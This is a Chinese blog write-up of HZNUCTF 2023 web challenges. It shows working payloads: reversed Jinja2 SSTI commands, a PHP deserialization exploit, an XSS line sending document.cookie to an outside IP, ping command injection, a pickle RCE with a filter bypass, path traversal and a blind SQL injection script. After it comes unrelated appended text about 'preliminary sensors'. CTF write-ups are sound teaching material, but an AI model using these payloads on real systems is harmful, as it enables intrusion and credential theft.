[HZNUCTF 2023 preliminary] 2023杭师大校赛(初赛) web方向题解wp 全

ezflask

先看题目,应该是模板注入(SSTI),输入{{7*‘7’}}直接报错误。

image-20230325103700609

发现模板是反序输出的,怪不得不能直接输入{{}}。

image-20230325104044802

输入}}‘7’*7{{返回777777,是jinja2

image-20230325104258299

//直接手打,无所谓我是怨种
?name=}})')(daer.)"/ sl"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{

后来写了一个逆序字符串的脚本:

import base64

strA = input()
strB=strA[::-1]
#sbase=str(base64.b64encode(strB.encode("utf-8")), "utf-8")   #base


print(strB)   #base不能直接编码,要先换成byte类型,直接在线网站编码

image-20230325110257757

找到flag了,在flag.sh。呃。。。。。

?name=}})')(daer.)"hs.galf/ cat"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{
内心:6

image-20230325110506615

tac $(find / -name fla*)
payload:?name=}})')(daer.)")*alf eman- / dnif($ cat"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{  //无效,找不到

find / -name flag*
payload:?name=}})')(daer.)"*galf eman- / dnif"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{

image-20230325111730983

tac $(find / -name flag.txt)
payload:?name=}})')(daer.)")txt.sgalf eman- / dnif($ cat"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{  //找不到,不敢打出题人

cd bin/;ls
payload:?name=}})')(daer.)"sl;/nib/ dc"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{
//得到app.py require.txt

cd /usr/bin/bash;ls
payload:?name=}})')(daer.)"sl;hsab/nib/rsu/ dc"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{ 

尝试无果,基本上翻遍了目录。换个思路,查看一下环境变量,env命令。

?name=}})')(daer.)"vne"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{ 

image-20230325121818293

ppppop

打开题目,没东西,看看包,有个cookie,base64加密,伪造一下。

image-20230325123709102

image-20230325123951177

image-20230325124009344

strrev() , 反转字符串

__call(),在对象中调用一个不可访问方法时调用

image-20230325152522319

exp:
<?php
error_reporting(0);
class A {
    public $className='B';
    public $funcName='system';
    public $args='env';

    public function __destruct() {
        $class = new $this->className;
        $funcName = $this->funcName;
        $class->$funcName($this->args);
    }
}

class B {
    public function __call($func, $arg) {
        $func($arg[0]);
    }
} 

$j17 = new A();
#echo serialize($j17);
echo base64_encode(strrev(serialize($j17)));
echo '666666666666666';
?>
//幸好先做了SSTI,要不然找flag能把我找疯咯。

image-20230325152649098

猜猜猜

又是逆序,服了,谢谢你秋菊师傅。

id=4,但是看不见。

image-20230325134518423

联合注入无效。

image-20230325135006650

image-20230325203729737

过滤了<?php和

<script>alert(1)</script> 有返回框

image-20230325204809892

<script>document.location.href='http://43.138.184.24:9999/test.php?cookie='+document.cookie</script>

>tpircs/<eikooc.tnemucod+'=eikooc?php.a/xxx//:ptth'=ferh.noitacol.tnemucod>tpircs<

脑洞题,想想。等到了hint,pingpong。命令执行ping。之前遇到过类似的题原理不懂等wp 为啥这里可以这样啊,暂时的想法是,<?php 被过滤了,执行命令服务器解析不了,和ping一起的话服务器就知道我要执行命令了。

image-20230326194721891

ping 127.0.0.1||env   //永远的env,逆序一下哦

image-20230326200107540

ezpickle

Python Pickle反序列化。picklecPickle,作用和PHP的serialize与unserialize一样。pickle不仅可以读写字符串,也可以读写文件:只需要采用pickle.dump()pickle.load()

使用pickle.dumps()函数将一个Person对象序列化成二进制字节流的形式。使用pickle.loads()将一串二进制字节流反序列化为一个Person对象。

并且pickle.loads会解决import 问题,对于未引入的module会自动尝试import。也就是说整个python标准库的代码执行、命令执行函数我们都可以使用。

Pickle中一个不安全的因素——反序列化未知的二进制字节流。原因是该字节流可能包含被精心构造的恶意代码,此时如果我们使用pickle.loads()方法unpickling,就会导致恶意代码的执行。


__reduce__函数,该函数能够定义该类的二进制字节流被反序列化时进行的操作。返回值是一个(callable, ([para1,para2...])[,...])类型的元组。当字节流被反序列化时,Python就会执行callable(para1,para2...)函数。我们可以通过在类中重写__reduce__方法,从而在反序列化时执行任意命令。

注意点:

部分Linux系统下和Windows下的opcode字节流并不兼容,比如Windows下执行系统命令函数为os.system(),在部分Linux下则为posix.system()

另外有一点需要注意:对于我们自己定义的class,如果直接以形如date = 20191029的方式赋初值,**则这个date不会被打包!**解决方案是写一个__init__方法, 也就是这样:

image-20230325234714221

一个是windows和linux生成的序列化会不一样(所以我们做题时要用kali生成),一个是os需要去双写绕过

代码如下:
import base64
import pickle
from flask import Flask, request

app = Flask(__name__)


'''
这个函数级别的注解指明了当地址是根路径时,就调用下面的函数。  
在app.route(’/TestB/’)中,TestB前后有斜杆,则访问时,是否在TestB后面加斜杠,Flask都会重定向到(/TestB/)中,且访问成功,
若在app.route(’/TestA`),TestA后无斜杠,则在访问时,则在访问时,若访问(/TestA/),则会报错,访问(/TestA),则访问成功。
'''


@app.route('/')
def index():
    with open('app.py', 'r') as f:
        return f.read()


@app.route('/calc', methods=['GET'])
def getFlag():
    payload = request.args.get("payload")    #get输入payload,在/calc目录
    pickle.loads(base64.b64decode(payload).replace(b'os', b''))    #反序列化,字符替换,过滤os,但是我们可以发现他只过滤一次,所以我们可以双写绕过!!!
    
    return "ganbadie!"


@app.route('/readFile', methods=['GET'])
def readFile():            #可以把结果重定向到文件中,然后用readFile读。在/readFile目录

    filename = request.args.get('filename').replace("flag", "????")    #GET提交,把flag换成????,任意文件读取但是防止读取flag。
    with open(filename, 'r') as f:
        return f.read()


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

生成payload:

import pickle
import os
import base64

class qiuju666():         //秋菊师傅真的强
    def __reduce__(self):        
        return(os.system,("env> a.txt",))   //重定向,从之前题目推断出flag在环境变量。当然这里可以执行其他命令

a= qiuju666()
payload=pickle.dumps(a).replace(b'os', b'ooss')   //双写绕过

payload=base64.b64encode(payload)    //base编码byte类
print(payload)

image-20230326083659300

image-20230326083710253

image-20230326083723746


此外,后续还发现了一个非预期。任意文件读取可以读取环境变量文件/proc/1/version

payload:

/readFile?filename=../../../../../../../../../../../../proc/1/environ

image-20230816004645270

ezlogin

先看题目,抓个包,是post传参,有提示。name是base+反转。

image-20230325155908229

只有用户名有过滤,应该是注入点

过滤and      ==》&&    //我直接or了
过滤database ==》Database
过滤空格      ==》/**/                    
过滤=        ==》like


9999999'/**/or/**/length(Database())like/**/5/**/#     //记得base,成功登录,注释符只能用#
Content-Length: 22【不成功】   129【成功】
手工测出数据库长度是5

这里只提示登录成功与否,无任何回显信息,所以只能用盲注。

image-20230816001943271

脚本  

#author:yu22x  improve by jay17
import requests
import string
import base64
url="http://7ad5907d-0d03-4bfe-8cd0-baebf20f5dc5.ite.hznu.edu.cn/"
s=string.ascii_letters+string.digits
flag=''
for i in range(1,999):
    print(i)
    for j in range(32,128):

        # 跑库名
        #s = f"999'/**/or/**/if(ascii(substr((SeleCt/**/grOUp_conCAt(schema_name)/**/fROm/**/information_schema.schemata),{i},1))/**/like/**/{j},1,0)#"

        # 跑表名
        #s = f"999'/**/or/**/if(ascii(substr((SeleCt/**/grOUp_conCAt(table_name)/**/fROm/**/information_schema.tables/**/wHERe/**/table_schema/**/like/**/'ctftraining'),{i},1))/**/like/**/{j},1,0)#"

        # 跑列名
        #s = f"999'/**/or/**/if(ascii(substr((Select/**/groUp_coNcat(column_name)frOm/**/information_schema.columns/**/Where/**/table_name/**/like/**/'news'),{i},1))/**/like/**/{j},1,0)#"

        #######################
        s = f"999'/**/or/**/if(ord(substr((Select/**/grOUp_cOncat(password)/**/frOm/**/users.user),{i},1))/**/like/**/{j},1,0)#"



        sre = s[::-1]   #逆序
        sbase=str(base64.b64encode(sre.encode("utf-8")), "utf-8")   #base64


        data={
            'username':sbase,
            'passwd':'MTEx'
        }


        # data={
        #     'username':f"'||if(ord(substr((select f1ag from ctfshow_fl0g),{i},1))={j},1,0)#",
        #     'password':'1'
        # }

        r=requests.post(url,data=data)
        #print(r.text)
        if "success!!" in r.text:
            flag+=chr(j)
            print(flag)
            break

#库  information_schema,ctftraining,performance_schema,test,mysql,users

#ctftraining库的表    FLAG_TABLE,news,users
#FLAG_TABLE列     FLAG_COLUMN
#news列           id,title,content,time
#骗局,骗局,骗局,骗局,骗局,骗局,骗局,骗局,骗局,骗局,骗局,骗局!!!!!!!!!!!!!!



#users库的表  user
#user列     max_questions,max_updates,max_connections,max_user_connections,plugin,authentication_string,password_expired,is_role,default_role,max_statement_time,id,username,password
#列  Host,User,Password,Select_priv,Insert_priv,Update_priv.......,id,username,password(600+)
#字段  password里面有东西

image-20230326131257674

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
Discover the most common web vulnerabilities and prevent them from becoming a threat to your site's security Key Features Familiarize yourself with the most common web vulnerabilities Conduct a preliminary assessment of attack surfaces and run exploits in your lab Explore new tools in the Kali Linux ecosystem for web penetration testing Book Description Web applications are a huge point of attack for malicious hackers and a critical area for security professionals and penetration testers to lock down and secure. Kali Linux is a Linux-based penetration testing platform that provides a broad array of testing tools, many of which can be used to execute web penetration testing. Kali Linux Web Penetration Testing Cookbook gives you the skills you need to cover every stage of a penetration test – from gathering information about the system and application, to identifying vulnerabilities through manual testing. You will also cover the use of vulnerability scanners and look at basic and advanced exploitation techniques that may lead to a full system compromise. You will start by setting up a testing laboratory, exploring the latest features of tools included in Kali Linux and performing a wide range of tasks with OWASP ZAP, Burp Suite and other web proxies and security testing tools. As you make your way through the book, you will learn how to use automated scanners to find security ?aws in web applications and understand how to bypass basic security controls. In the concluding chapters, you will look at what you have learned in the context of the Open Web Application Security Project (OWASP) and the top 10 web application vulnerabilities you are most likely to encounter, equipping you with the ability to combat them effectively. By the end of this book, you will have acquired the skills you need to identify, exploit, and prevent web application vulnerabilities. What you will learn Set up a secure penetration testing laboratory Use proxies, crawlers, and spiders to investig
### 回答1: 初步的传感器是指最初的传感器,用于感知和测量环境中的物理量、化学量或生物量。这些传感器通常用于收集数据,以便进行进一步的分析和处理。 初步的传感器可以用于各种不同的应用领域,如环境监测、工业自动化、医疗诊断等。它们可以测量温度、湿度、压力、光照、声音等物理量,也可以测量气体浓度、水质、土壤成分等化学量,甚至可以测量心率、血压等生物量。 初步的传感器通常具有小巧、便携和低功耗的特点,以便于安装和使用。它们可以通过有线或无线的方式将收集到的数据传输给数据处理单元,然后进一步进行分析和应用。 初步的传感器的性能和精度通常较低,但在一些应用场景中足够使用。在进行精确测量或要求高度一致性的场景中,可能需要更复杂、更高精度的传感器来满足要求。 总之,初步的传感器是最早的传感器,用于感知和测量环境中各种物理、化学或生物的量。它们可以广泛用于各个领域,为数据采集和分析提供基础。随着科技的发展和需求的增加,传感器技术也越来越精细和复杂。 ### 回答2: Preliminary 传感器是一种用于收集初步信息或进行初步测量的传感器。它主要用于确认和验证数据,并为后续的研究和分析提供依据。 Preliminary 传感器可以通过使用多种技术来获取数据,包括光学、声波、电磁和加速度等。它可以测量环境中的不同参数,如温度、湿度、压力、光照和运动等。 与其他高精度传感器相比,preliminary 传感器通常具有较低的测量精确度和准确性。尽管如此,它们仍然可以提供足够的信息来评估某个环境或系统的基本特性。 preliminary 传感器通常应用于许多领域。在环境监测方面,它可以用于检测空气质量、水质、土壤含水量等,以便评估环境的健康状况。在工业应用中,preliminary 传感器可以帮助监测和控制生产过程中的温度、压力和湿度等参数,以确保产品质量和工艺稳定性。 此外,preliminary 传感器还可以用于智能家居系统,例如自动灯光控制和温度调节。它们可以通过监测周围环境的状态并与设定的条件进行比较,实现自动化控制和能源节约。 总而言之,preliminary 传感器提供了初步收集数据和测量环境参数的功能。尽管其测量精度较低,但它们可以在各种领域中发挥重要作用,为后续的研究和分析提供重要的参考依据。 ### 回答3: 初步传感器是指在某个领域或某项工作中,在进行深入研究或正式操作之前使用的传感器。这种传感器可以帮助人们对待测对象进行初步的观察、测量或监测。 初步传感器通常具有以下特点: 1. 快捷简易:初步传感器操作方便、使用简单。其设计和功能主要针对对待测对象的初步了解和探索,不需要过多的专业知识或复杂的操作步骤。 2. 低成本:初步传感器通常相对便宜,成本低廉。这样可以降低对待测对象的测试成本,以及在初步阶段对传感器的投入。 3. 多功能:初步传感器一般具备多种功能,可以根据不同需求进行测量、观测和监测。可以针对特定目标进行调整和适应,提供初步的数据和信息。 4. 基础应用:初步传感器广泛应用于科学研究、实验室试验、工程项目等领域。在进行具体实验或操作之前,可以通过初步传感器获得一些对象的基本特征或性质。这对进一步的研究和操作具有重要意义。 总之,初步传感器是一种方便、简单、低成本且多功能的传感器,可以在不破坏或影响待测对象的前提下,提供初步的观测、测量或监测数据。通过初步传感器的使用,人们可以更好地了解被测对象的性质和特征,为随后的研究或操作提供基础信息和决策依据。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Jay 17

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值